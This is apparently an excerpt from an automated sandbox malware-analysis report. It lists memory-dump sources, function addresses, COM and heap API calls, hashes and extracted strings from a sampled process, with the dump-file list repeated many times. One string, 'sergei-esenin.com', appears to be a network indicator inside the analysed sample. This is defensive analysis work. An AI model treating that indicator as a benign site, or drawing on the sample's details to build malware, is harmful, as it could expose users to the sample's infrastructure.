Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1707acb87feac478ae6e58534458f66fa4d3d10fcf9b70e31553821e637ea3ff
Instruction ID: a1e8a72fda14b655d7348d023c8e81745c0d5eb7221217f73fb48929de49d0fc
Opcode Fuzzy Hash: 1707acb87feac478ae6e58534458f66fa4d3d10fcf9b70e31553821e637ea3ff
Instruction Fuzzy Hash: C0417D3464C310AFD7249A15E8A0B6BB7EAFF85724F54882CE5CAD7251D331E885CB62

Function 007E0EEC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01581853e95c166acbce2131435878f88f9377f47408715621c6e2eaac1a6ce0
Instruction ID: 15e6dd9cba892461118d04561b667fe0797de33c50a2b2aee1f7f107d9307a91
Opcode Fuzzy Hash: 01581853e95c166acbce2131435878f88f9377f47408715621c6e2eaac1a6ce0
Instruction Fuzzy Hash: 4C2148B490125ADFDB15CF95CC90BBEBBB5FF4A304F148818E911BB282C375A911CBA4

Function 007E2FE0 Relevance: 14.3, APIs: 1, Strings: 8, Instructions: 842
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 007E3378

Strings

sergei-esenin.com, xrefs: 007E334C, 007E3B12
AR]J, xrefs: 007E303F
IK, xrefs: 007E3178
HLB6, xrefs: 007E3855
jxEJ, xrefs: 007E302B
jXl>, xrefs: 007E3847
YTfT, xrefs: 007E3832
[Pcl, xrefs: 007E3839

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID: Uninitialize
String ID: AR]J$HLB6$YTfT$[Pcl$jXl>$jxEJ$sergei-esenin.com$IK
API String ID: 3861434553-4284682720
Opcode ID: 9abf7815e4c882d8d68f5d5ac8a0a96572420eb178833c04fd877b562ac6b5af
Instruction ID: 050015d5e4f3334cf1b0a9afa602867203c4b86702aa6b63f32adfbd1d1c1a01
Opcode Fuzzy Hash: 9abf7815e4c882d8d68f5d5ac8a0a96572420eb178833c04fd877b562ac6b5af
Instruction Fuzzy Hash: 5362ACB0101B808BD7229F35D898BA7BBF5AF1A304F44495CE4EB8B253D739B519CB61

Function 00813220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 008132A6

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cc118cfec2eb04539a62476a118071a29d177bcc48a2bf85754f66b5bffab6af
Instruction ID: 55d1080a0cce7d5d3ee8128e4a17ed143a0ee582028e7e4df72e802fa7261441
Opcode Fuzzy Hash: cc118cfec2eb04539a62476a118071a29d177bcc48a2bf85754f66b5bffab6af
Instruction Fuzzy Hash: 6D01463450D3409BC711EB18E899A1ABBF8FF8AB11F05881CE5C58B361D239DD60CBA2

Function 007E2F6F Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 007E2F81

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: c2da55d2e3fb4e9da71fae527976ab2bb863aa0fc627373a449d76437e14c559
Instruction ID: 17f8a1732f300390de687ebf2b6aa8fdd493e96382f6fc41f674a2ec97d797da
Opcode Fuzzy Hash: c2da55d2e3fb4e9da71fae527976ab2bb863aa0fc627373a449d76437e14c559
Instruction Fuzzy Hash: 25C092303C9311B1F03006286C13F0830082B03F25F701311B3287C2D2C8D07100C91D

Function 007E2F10 Relevance: 1.3, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 007E2F5F

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 096d93a1521f9c0435098243a5c4db2d592764e0196a84d90599570075890156
Instruction ID: 030734a169cd15459779b1a2726e4b00c772479fce2a93d0f3bd8486c8bb0efe
Opcode Fuzzy Hash: 096d93a1521f9c0435098243a5c4db2d592764e0196a84d90599570075890156
Instruction Fuzzy Hash: B6F05EA1D107006BD2607A3D9E0B6173DB8A702220F400729E8E54A2C5FA20A829CBD7

Non-executed Functions

Function 007F9510 Relevance: 20.4, Strings: 16, Instructions: 427COMMON

Download Yara Rule

Strings

G+X5, xrefs: 007F9AF3
!E4G, xrefs: 007F9836
?M0K, xrefs: 007F9968
z=Q?, xrefs: 007F9826
pq, xrefs: 007F99E0
B7U1, xrefs: 007F9AFB
8;, xrefs: 007F9B13
X/R), xrefs: 007F9AEB
,A&C, xrefs: 007F982E
B?Q9, xrefs: 007F9B0B
;IJK, xrefs: 007F983E
O+f), xrefs: 007F9634, 007F963D
L3Y=, xrefs: 007F9B03
G'M!, xrefs: 007F9ADB
2A"_, xrefs: 007F9980
T#a-, xrefs: 007F9AE3

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
